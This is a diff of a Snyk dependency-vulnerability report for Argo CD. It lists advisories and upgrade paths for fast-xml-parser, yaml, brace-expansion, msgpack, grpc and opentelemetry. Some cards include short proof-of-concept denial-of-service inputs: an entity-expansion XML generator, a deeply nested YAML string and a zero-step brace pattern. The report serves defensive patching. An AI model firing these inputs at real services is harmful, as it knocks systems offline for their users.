go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc/internal/otlpconfig@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/internal/tracetransform@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/resource@1.38.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc/internal/otlpconfig@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/trace@1.38.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
go.opentelemetry.io/otel/sdk/resource@1.38.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes <code>ioreg</code>, when the <code>PATH</code> environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.</p>
|
||||
<p><strong>Note:</strong> This vulnerability is only exploitable on MacOS/Darwin systems.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>go.opentelemetry.io/otel/sdk/resource</code> to version 1.40.0 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/open-telemetry/opentelemetry-go/commit/d45961bcda453fcbdb6469c22d6e88a1f9970a53">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOPENTELEMETRYIOOTELSDKRESOURCE-15182758">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">XML Entity Expansion</h2>
|
||||
@@ -1269,6 +1151,472 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15324289">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">XML Entity Expansion</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
fast-xml-parser
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, redoc@2.4.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
openapi-sampler@1.6.1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
fast-xml-parser@4.5.3
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://www.npmjs.org/package/fast-xml-parser">fast-xml-parser</a> is a Validate XML, Parse XML, Build XML without C/C++ based libraries</p>
|
||||
<p>Affected versions of this package are vulnerable to XML Entity Expansion in the <code>replaceEntitiesValue()</code> function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for <a href="https://security.snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15307668">CVE-2026-26278</a>). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - <code>&#NNN;</code> and <code>&#xHH;</code>.</p>
|
||||
<p><strong>Note:</strong> This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.</p>
|
||||
<h2 id="details">Details</h2>
|
||||
<p>Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.</p>
|
||||
<p>Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.</p>
|
||||
<p>One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.</p>
|
||||
<p>When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.</p>
|
||||
<p>Two common types of DoS vulnerabilities:</p>
|
||||
<ul>
|
||||
<li><p>High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, <a href="https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082">commons-fileupload:commons-fileupload</a>.</p>
|
||||
</li>
|
||||
<li><p>Crash - An attacker sending crafted requests that could cause the system to crash. For Example, <a href="https://snyk.io/vuln/npm:ws:20171108">npm <code>ws</code> package</a></p>
|
||||
</li>
|
||||
</ul>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>fast-xml-parser</code> to version 5.5.6 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6">GitHub Release</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15677840">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Validation of Specified Quantity in Input</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
fast-xml-parser
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, redoc@2.4.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
openapi-sampler@1.6.1
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
fast-xml-parser@4.5.3
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://www.npmjs.org/package/fast-xml-parser">fast-xml-parser</a> is a Validate XML, Parse XML, Build XML without C/C++ based libraries</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the <code>DocTypeReader</code> component when the <code>maxEntityCount</code> or <code>maxEntitySize</code> configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.</p>
|
||||
<p><strong>Note:</strong></p>
|
||||
<p>This is only exploitable if the application is configured with <code>processEntities</code> enabled and either <code>maxEntityCount</code> or <code>maxEntitySize</code> set to 0.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code class="language-js">const { XMLParser } = require("fast-xml-parser");
|
||||
|
||||
// Developer intends: "no entities allowed at all"
|
||||
const parser = new XMLParser({
|
||||
processEntities: {
|
||||
enabled: true,
|
||||
maxEntityCount: 0, // should mean "zero entities allowed"
|
||||
maxEntitySize: 0 // should mean "zero-length entities only"
|
||||
}
|
||||
});
|
||||
|
||||
// Generate XML with many large entities
|
||||
let entities = "";
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
|
||||
}
|
||||
|
||||
const xml = `<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
${entities}
|
||||
]>
|
||||
<foo>&e0;</foo>`;
|
||||
|
||||
// This should throw "Entity count exceeds maximum" but does not
|
||||
try {
|
||||
const result = parser.parse(xml);
|
||||
console.log("VULNERABLE: parsed without error, entities bypassed limits");
|
||||
} catch (e) {
|
||||
console.log("SAFE:", e.message);
|
||||
}
|
||||
|
||||
// Control test: setting maxEntityCount to 1 correctly blocks
|
||||
const safeParser = new XMLParser({
|
||||
processEntities: {
|
||||
enabled: true,
|
||||
maxEntityCount: 1,
|
||||
maxEntitySize: 100
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
safeParser.parse(xml);
|
||||
console.log("ERROR: should have thrown");
|
||||
} catch (e) {
|
||||
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>fast-xml-parser</code> to version 5.5.7 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g">GitHub Advisory</a></li>
|
||||
<li><a href="https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-FASTXMLPARSER-15699647">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Infinite loop</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
brace-expansion
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, argo-ui@1.0.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
argo-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@5.1.6
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@2.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
@redocly/openapi-core@1.30.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@5.1.6
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@2.0.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
minimatch@3.1.2
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
brace-expansion@1.1.11
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/juliangruber/brace-expansion">brace-expansion</a> is a Brace expansion as known from sh/bash</p>
|
||||
<p>Affected versions of this package are vulnerable to Infinite loop through the <code>expand</code> function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as <code>{1..2..0}</code>. This can lead to significant resource consumption and denial of service. </p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by sanitizing strings passed to <code>expand</code> to ensure a step value of <code>0</code> is not used.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>brace-expansion</code> to version 5.0.5 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v">GitHub Advisory</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113">Vulnerable Code</a></li>
|
||||
<li><a href="https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184">Vulnerable Code</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-BRACEEXPANSION-15789759">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Uncontrolled Recursion</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd <span class="list-paths__item__arrow">›</span> ui/yarn.lock
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: npm
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
yaml
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
argo-cd-ui@1.0.0, redoc@2.4.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
swagger2openapi@7.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
yaml@1.10.2
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
swagger2openapi@7.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
oas-resolver@2.5.6
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
yaml@1.10.2
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
swagger2openapi@7.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
oas-validator@5.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
yaml@1.10.2
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
argo-cd-ui@1.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
redoc@2.4.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
swagger2openapi@7.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
oas-validator@5.0.8
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
oas-linter@3.2.2
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
yaml@1.10.2
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Uncontrolled Recursion in the <code>compose/resolve</code> phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a <code>RangeError</code> and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code class="language-js">const YAML = require('yaml');
|
||||
|
||||
// ~10 KB payload: 5000 levels of nested flow sequences
|
||||
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
|
||||
|
||||
try {
|
||||
YAML.parse(payload);
|
||||
} catch (e) {
|
||||
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
|
||||
console.log(e.message); // Maximum call stack size exceeded
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>yaml</code> to version 1.10.3, 2.8.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp">GitHub Advisory</a></li>
|
||||
<li><a href="https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b">GitHub Commit</a></li>
|
||||
<li><a href="https://github.com/eemeli/yaml/releases/tag/v1.10.3">GitHub Release</a></li>
|
||||
<li><a href="https://github.com/eemeli/yaml/releases/tag/v2.8.3">GitHub Release</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-JS-YAML-15765520">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Prototype Pollution</h2>
|
||||
@@ -2072,6 +2420,92 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOLANGORGXNETHTML-15237740">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">Improper Validation of Specified Type of Input</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--medium">
|
||||
<span class="label__text">medium severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: /argo-cd/argoproj/argo-cd/v3 <span class="list-paths__item__arrow">›</span> go.mod
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/vmihailenco/msgpack/v5
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
|
||||
github.com/argoproj/argo-cd/v3@0.0.0, github.com/go-redis/cache/v9@9.0.0 and others
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/go-redis/cache/v9@9.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/vmihailenco/msgpack/v5@5.4.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/argoproj/argo-cd/v3@0.0.0
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/r3labs/diff/v3@3.0.2
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/vmihailenco/msgpack/v5@5.4.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the calls plugin when handling websocket messages containing malformed msgpack frames. An attacker can cause the server to consume excessive memory and crash by sending specially crafted websocket requests.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>There is no fixed version for <code>github.com/vmihailenco/msgpack/v5</code>.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/mattermost/msgpack/commit/2f9c67d7e57f">GitHub Commit</a></li>
|
||||
<li><a href="https://mattermost.com/security-updates">Mattermost Security Updates</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMVMIHAILENCOMSGPACKV5-15702238">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--medium" data-snyk-test="medium">
|
||||
<h2 class="card__title">MPL-2.0 license</h2>
|
||||
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="46 known vulnerabilities found in 141 vulnerable dependency paths.">
|
||||
<meta name="description" content="48 known vulnerabilities found in 144 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:36:29 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:39:36 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>46</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>141 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1131</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>48</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>144 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>1134</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
@@ -515,6 +515,89 @@
|
||||
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
<div class="cards--vuln filter--patch filter--ignore">
|
||||
<div class="card card--vuln disclosure--not-new severity--critical" data-snyk-test="critical">
|
||||
<h2 class="card__title">Incorrect Authorization</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--critical">
|
||||
<span class="label__text">critical severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Not Defined</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 <span class="list-paths__item__arrow">›</span> /usr/local/bin/gomplate
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
google.golang.org/grpc
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/hairyhenderson/gomplate/v4@* and google.golang.org/grpc@v1.68.1
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/hairyhenderson/gomplate/v4@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.68.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
google.golang.org/grpc@v1.72.1
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p>Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 <code>:path</code> pseudo-headers in <code>handleStream()</code>. An attacker can gain unauthorized access to restricted resources by sending requests with malformed <code>:path</code> headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.</p>
|
||||
<h2 id="workaround">Workaround</h2>
|
||||
<p>This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.</p>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
